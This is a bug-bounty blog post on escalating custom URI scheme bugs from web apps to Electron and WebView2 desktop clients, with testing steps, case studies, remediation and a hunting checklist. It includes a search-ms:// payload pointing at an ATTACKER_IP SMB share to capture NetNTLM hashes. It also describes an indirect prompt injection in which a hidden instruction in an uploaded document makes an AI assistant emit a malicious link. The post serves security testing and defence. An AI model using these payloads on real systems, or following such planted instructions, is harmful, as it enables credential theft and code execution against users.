October 14, 2026
Harmless Link Becomes RCE
A web form that accepts a custom URI scheme looks like a low severity nuisance until you check whether the same product also ships a…

By Bugatsec
6 min read
A web form that accepts a custom URI scheme looks like a low severity nuisance until you check whether the same product also ships a desktop client. This walks through why that is, how to test for it, and how to reproduce the escalation yourself.
The Trap
Researchers regularly find web application fields that accept and auto-link arbitrary URI schemes. When tested purely in a browser, clicking one of these links triggers an operating system confirmation prompt asking whether to open the external application. Because that prompt requires explicit user interaction, triage teams on HackerOne, Bugcrowd, and internal programs such as MSRC typically rate the finding Low severity or informational. The browser prompt is treated as a sufficient security boundary.
That reasoning fails the moment the same product also ships as a desktop application, which is now extremely common through frameworks like Electron and WebView2. Desktop wrappers frequently hand URIs straight to the operating system through APIs such as Electron's shell.openExternal(), with no equivalent confirmation step unless a developer explicitly added one. The exact bug that scored Low on the web, reproduced inside the desktop client instead of a browser tab, becomes unauthenticated or one click remote code execution. This web to desktop gap is the core argument of Tobias Diehl's DEF CON 34 talk: a bug worth 100 dollars on the web can be worth 15,000 to 20,000 dollars once its desktop equivalent is found.
https://medium.com/@bugatsec/every-vulnerability-commonly-found-in-login-flows-1b64f34500fe
How a Protocol Handler Actually Fires
In a URI such as [https://defcon.org](https://defcon.org), the prefix before ://is the protocol handler. The operating system looks that prefix up in its registry, finds the binary mapped to it, and launches that binary with the rest of the URI passed in as an argument. Swap[https://](https://) for ms-calculator:// and the OS launches Calculator instead of a browser.
The browser's confirmation dialog is the only thing standing between a clicked link and that launch on the web. Inside a desktop application built on Electron or WebView2, a developer who calls shell.openExternal() or an equivalent API on an untrusted URI skips that dialog entirely unless they coded their own check first. No validation means no warning, and the handler fires immediately.
Known Dangerous Handlers
Third party installers keep adding new handlers to the registry, so the real attack surface on any given machine is larger than this default set.
Testing Methodology
The standard test is a single payload, sftp://, dropped into any field that might get auto-linkified, then watching what the field does with it.
- Fully protected: the string does not render as a clickable link at all. An explicit allowlist is in place, usually restricted to
[https://](https://) and _mailto:`_. Nothing further to chase. - Partially filtered: the leading
sgets stripped andftp://renders instead. A filter exists but is naive, likely a denylist or a weak regex, so the next step is fuzzing for bypass payloads and alternate schemes. - Unprotected: the full
sftp://string renders as a live clickable link. No scheme restriction exists, and any registered protocol handler can be substituted in to attempt escalation.
Where to Look
- Chat applications: message bodies, shared document links, channel content
- AI products and assistants: anywhere model output gets rendered as markdown or links, including indirect prompt injection through an uploaded document that steers the model to emit a malicious link later
- Web applications generally: auto-linkified free text, SSO or OAuth return URL parameters, open redirect endpoints that can be chained into a custom scheme, comment sections, profile fields
- Mobile: custom scheme hijacking, WebView JavaScript bridges, unvalidated OAuth deep link callbacks
Case Studies Reproduced
Indirect prompt injection into an AI assistant. A document uploaded into a shared workspace carries hidden instructions telling the model to output a malicious protocol link when later summarized. A victim asks the assistant about the document, the response contains the attacker's link such as search-ms://…, and clicking it fires the OS handler. On the web this still hits the browser's confirmation dialog, which is why it still gets triaged low even though the injection itself worked end to end.
AI app builder auto redirect, web versus desktop. Inside an AI assisted low code builder, a prompt asks it to add a page element that silently redirects to a custom scheme such as ms-calculator:// after a short delay, with no click required. The web preview still shows a browser permission prompt after the delay. Opened inside the matching desktop client, the same redirect fires through the native runtime with no prompt at all, popping the target binary directly. This is the clearest demonstration of the severity jump between the two surfaces.
SMB credential theft via an automation tool's embedded browser. A page hosts a search-ms:// link pointing at an attacker controlled SMB share, with a crumb parameter such as &crumb=location:\\ATTACKER_IP\SHARE. The target opens that page inside a desktop automation tool's built in browser component, for example Power Automate Desktop. The automation runtime processes the link without the normal browser gate, the victim's machine attempts to authenticate to the attacker's SMB server, and the NetNTLM hash is captured for offline cracking or relay.
Root Cause in Desktop Frameworks
Electron applications bundle Chromium rendering with Node.js and native OS API access, combining web code with system level capability in one process. The specific failure point is calling shell.openExternal(), or the WebView2 equivalent, on a URI that came from untrusted input without first checking it against an allowlist. A browser tab enforces a confirmation step by default. This API does not. It hands the URI straight to the OS loader, and if the developer did not add their own gate, there is no confirmation step at all.
Remediation
- Validate every URI against a strict allowlist,
http,https,mailtoby default, before rendering it as a link or passing it to an open or launch call - Never hand a raw, unsanitized URI to
shell.openExternal()or an equivalent system level open call without a scheme check first - Quote and sanitize any arguments passed through the handler so embedded flags or UNC paths cannot be smuggled through the
%1substitution point - For mobile, enforce PKCE and state parameters on OAuth flows, use verified app links rather than freeform custom schemes, and avoid WebViews for authentication
- The working rule: allow arbitrary URLs into a renderable or launchable context, and arbitrary code execution downstream becomes a live possibility
Hunting Checklist
- Find any input that gets rendered as a clickable link, in a web app, a chat tool, or AI output
- Drop in
sftp://and classify the response as blocked, filtered, or fully rendered - If fully rendered, check whether the same product also ships a desktop client built on Electron or WebView2, this is the step most hunters skip and where the severity multiplier lives
- Swap in a provably dangerous scheme for the proof of concept:
ms-calculator://for safe proof of code execution, or asearch-ms://SMB crumb payload for credential theft, only against infrastructure you are authorized to test and pointed at infrastructure you control to capture the hash - Reproduce the same click inside the desktop client and document whether the browser's confirmation prompt gets bypassed
- Write the report around the web to desktop delta specifically, since that is the argument that moves a finding from informational to High or Critical in triage